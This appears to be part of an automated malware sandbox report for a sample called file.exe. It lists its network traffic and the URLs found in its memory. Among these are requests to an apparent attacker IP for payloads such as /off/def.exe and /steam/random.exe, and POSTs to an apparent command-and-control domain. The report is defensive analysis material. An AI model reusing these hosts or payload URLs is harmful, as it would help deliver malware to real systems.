Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FGaSAOeh2r9BUX3&MD=Z9fel9Xu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: frogmen-smell.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: frogmen-smell.sbs

Source: file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/F
Source: file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/I
Source: file.exe, 00000000.00000002.2584839720.00000000011BB000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.2464893433.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2585104415.000000000172F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2482809580.0000000001783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2585104415.000000000172F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2482809580.0000000001783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe$jT
Source: file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeZj
Source: file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exerj
Source: file.exe, 00000000.00000002.2585104415.000000000172F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2482809580.0000000001783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000002.2585104415.000000000172F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465437533.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2465991858.0000000001783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2482809580.0000000001783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exetj
Source: file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_112.7.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2320377336.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_112.7.dr, chromecache_76.7.dr, chromecache_113.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_112.7.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_112.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_112.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2334418875.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2334418875.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2334418875.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2334418875.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2334521290.00000000017AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2319706074.00000000017B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/
Source: file.exe, 00000000.00000003.2352648248.000000000179A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2352497362.0000000001798000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/&K
Source: file.exe, 00000000.00000003.2304974381.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/(Q
Source: file.exe, 00000000.00000003.2352648248.000000000179A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2352497362.0000000001798000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/.K
Source: file.exe, 00000000.00000003.2352648248.000000000179A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2352497362.0000000001798000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/6K
Source: file.exe, 00000000.00000003.2320003333.00000000017B7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2319706074.00000000017B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/B
Source: file.exe, 00000000.00000003.2334803513.00000000017B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334521290.00000000017AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/F
Source: file.exe, 00000000.00000003.2352648248.000000000179A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2352497362.0000000001798000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/NDQ
Source: file.exe, 00000000.00000003.2289826264.0000000001790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/TY
Source: file.exe, 00000000.00000003.2482809580.0000000001783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/api
Source: file.exe, 00000000.00000003.2335411580.0000000001797000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2335266886.0000000001797000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2335555173.0000000001797000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2335058668.0000000001797000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334623900.0000000001796000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2335346976.0000000001797000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334968628.0000000001797000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334867065.0000000001797000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apib
Source: file.exe, 00000000.00000003.2334623900.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apibE7Q
Source: file.exe, 00000000.00000003.2352703830.00000000017A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2352497362.0000000001798000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2352593950.000000000179D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apis
Source: file.exe, 00000000.00000002.2585104415.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/db
Source: file.exe, 00000000.00000003.2304974381.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/hQ
Source: file.exe, 00000000.00000002.2585104415.000000000172F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/oftRoo
Source: chromecache_112.7.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_112.7.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_112.7.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_112.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_112.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_112.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_112.7.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_112.7.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_112.7.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_112.7.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_112.7.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_104.7.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2321674664.0000000005F2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2321674664.0000000005F2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_104.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2334418875.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2290679094.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290742342.0000000005E48000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290925458.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_92.7.dr, chromecache_104.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2321496579.0000000005E42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2321496579.0000000005E42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.2321674664.0000000005F2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2321674664.0000000005F2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2321674664.0000000005F2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2334418875.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334539808.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
